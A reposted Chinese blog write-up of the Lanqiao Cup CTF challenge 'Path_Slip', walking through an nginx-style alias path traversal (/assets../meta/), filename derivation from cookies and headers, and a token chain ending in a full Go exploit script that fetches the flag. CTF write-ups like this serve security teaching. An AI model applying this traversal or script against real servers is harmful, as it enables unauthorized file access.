蓝桥杯-Path_Slip

admin 2026-04-28 06:54:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档记录了蓝桥杯CTF题目Path_Slip的完整解题过程。作者通过发现服务器目录别名配置缺陷实现路径穿越,利用Cookie和响应头参数动态计算文件名,最终通过构建HEAD请求、交换凭证、字符串交织算法等步骤形成利用链,成功获取flag。文档提供了可复现的Go语言利用脚本。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,实战经验,安全工具


cover_image

蓝桥杯-Path_Slip

原创

Mystery Mystery

小M安全

2026年4月26日 12:18 河南

在小说阅读器读本章

去阅读

操作内容

进入题目后,页面显示为一个公开的静态资源路径/assets/readme.txt。

访问/assets/readme.txt后,我拿到了第一组关键提示。提示要求保留sid Cookie,并指出如果能从/assets“横向移动”一步,就可以从/meta/index.txt 开始。

尝试常规的路径穿越(如/assets/../meta/index.txt)均返回 404,但根据题目关于“目录映射问题”的提示,我测试发现访问/assets../meta/index.txt可以成功读取内容。这证实了服务器在目录别名配置上存在缺陷,允许通过 /assets..跨越到同级的/meta/目录 

在 /meta/index.txt 中,我发现了 5 个标签(labels)以及文件名的计算公式 。公式中需要的 frame-space 和 frame-window 参数,我通过观察静态资源的响应头 X-Mirror-Rail 成功获取:space=cards;window=6:18

根据公式:name = sha256(sid|label|cards).hexdigest()[6:18] + “.txt”,我为每个标签计算了唯一的动态文件名,并成功读取了卡片内容。

 构建利用链

对/oracle发送HEAD 请求(即“quiet verb”),并携带请求头X-Knock: hush,以此从响应头中交换到 X-Trace 凭证

将X-Trace的前 8 位进行两两交换(pair-swap)得到slot;同时通过卡片中的字符串交织算法得出盐值 slip_route_v3

首先访问/stage/{slot}/pose 并在响应头中截获 X-Ticket-Hint;最后带着这个Hint冲击/vault/{slot}/pass目标

构造脚本:package&nbsp;main&nbsp;import&nbsp;(&nbsp; &nbsp;"crypto/sha256"&nbsp; &nbsp;"crypto/tls"&nbsp; &nbsp;"encoding/hex"&nbsp; &nbsp;"fmt"&nbsp; &nbsp;"io"&nbsp; &nbsp;"net/http"&nbsp; &nbsp;"net/http/cookiejar"&nbsp; &nbsp;"regexp"&nbsp; &nbsp;"strconv")&nbsp;const&nbsp;BASE =&nbsp;"https://eci-2ze7twsu489m878xc7ur.cloudeci1.ichunqiu.com:80"&nbsp;func&nbsp;main()&nbsp;{&nbsp; &nbsp;jar, _ := cookiejar.New(nil)&nbsp; &nbsp;client := &http.Client{&nbsp; &nbsp; &nbsp; Jar: jar,&nbsp; &nbsp; &nbsp; Transport: &http.Transport{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TLSClientConfig: &tls.Config{InsecureSkipVerify:&nbsp;true},&nbsp; &nbsp; &nbsp; },&nbsp; &nbsp;}&nbsp;&nbsp; &nbsp;_, err := client.Get(BASE +&nbsp;"/")&nbsp; &nbsp;if&nbsp;err !=&nbsp;nil&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;panic(err)&nbsp; &nbsp;}&nbsp;&nbsp; &nbsp;resp, _ := client.Get(BASE +&nbsp;"/assets/readme.txt")&nbsp; &nbsp;rail := resp.Header.Get("X-Mirror-Rail")&nbsp; &nbsp;re := regexp.MustCompile(`space=([^;]+);window=(\d+):(\d+)`)&nbsp; &nbsp;matches := re.FindStringSubmatch(rail)&nbsp; &nbsp;space := matches[1]&nbsp; &nbsp;start, _ := strconv.Atoi(matches[2])&nbsp; &nbsp;end, _ := strconv.Atoi(matches[3])&nbsp;&nbsp; &nbsp;var&nbsp;sid&nbsp;string&nbsp; &nbsp;for&nbsp;_, cookie :=&nbsp;range&nbsp;jar.Cookies(resp.Request.URL) {&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cookie.Name ==&nbsp;"sid"&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sid = cookie.Value&nbsp; &nbsp; &nbsp; }&nbsp; &nbsp;}&nbsp;&nbsp; &nbsp;labels := []string{"knock",&nbsp;"dance",&nbsp;"salt",&nbsp;"route",&nbsp;"echo"}&nbsp; &nbsp;for&nbsp;_, label :=&nbsp;range&nbsp;labels {&nbsp; &nbsp; &nbsp; data := fmt.Sprintf("%s|%s|%s", sid, label, space)&nbsp; &nbsp; &nbsp; hash := sha256.Sum256([]byte(data))&nbsp; &nbsp; &nbsp; name := hex.EncodeToString(hash[:])[start:end] +&nbsp;".txt"&nbsp; &nbsp; &nbsp; client.Get(BASE +&nbsp;"/assets../meta/"&nbsp;+ name)&nbsp; &nbsp;}&nbsp;&nbsp; &nbsp;req, _ := http.NewRequest("HEAD", BASE+"/oracle",&nbsp;nil)&nbsp; &nbsp;req.Header.Set("X-Knock",&nbsp;"hush")&nbsp; &nbsp;oracleResp, _ := client.Do(req)&nbsp; &nbsp;trace := oracleResp.Header.Get("X-Trace")&nbsp;&nbsp; &nbsp;tBytes := []byte(trace)&nbsp; &nbsp;for&nbsp;i :=&nbsp;0; i <&nbsp;8; i +=&nbsp;2&nbsp;{&nbsp; &nbsp; &nbsp; tBytes[i], tBytes[i+1] = tBytes[i+1], tBytes[i]&nbsp; &nbsp;}&nbsp; &nbsp;slot :=&nbsp;string(tBytes[:8])&nbsp; &nbsp;&nbsp; &nbsp;tokenRaw := fmt.Sprintf("%s.%s.slip_route_v3", sid, trace)&nbsp; &nbsp;tokenHash := sha256.Sum256([]byte(tokenRaw))&nbsp; &nbsp;token := hex.EncodeToString(tokenHash[:])[:16]&nbsp;&nbsp; &nbsp;stageURL := fmt.Sprintf("%s/stage/%s/pose?token=%s", BASE, slot, token)&nbsp; &nbsp;stageResp, _ := client.Get(stageURL)&nbsp; &nbsp;hint := stageResp.Header.Get("X-Ticket-Hint")&nbsp;&nbsp; &nbsp;vaultURL := fmt.Sprintf("%s/vault/%s/pass?token=%s", BASE, slot, token)&nbsp; &nbsp;finalReq, _ := http.NewRequest("GET", vaultURL,&nbsp;nil)&nbsp; &nbsp;finalReq.Header.Set("X-Ticket-Hint", hint)&nbsp; &nbsp;finalResp, _ := client.Do(finalReq)&nbsp; &nbsp;&nbsp; &nbsp;flag, _ := io.ReadAll(finalResp.Body)&nbsp; &nbsp;fmt.Printf("%s",&nbsp;string(flag))}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小M安全 Mystery Mystery《蓝桥杯-Path_Slip》

蓝桥杯-Path_Slip 网络安全文章

蓝桥杯-Path_Slip

文章总结: 该文档记录了蓝桥杯CTF题目Path_Slip的完整解题过程。作者通过发现服务器目录别名配置缺陷实现路径穿越,利用Cookie和响应头参数动态计算文
评论:0   参与:  0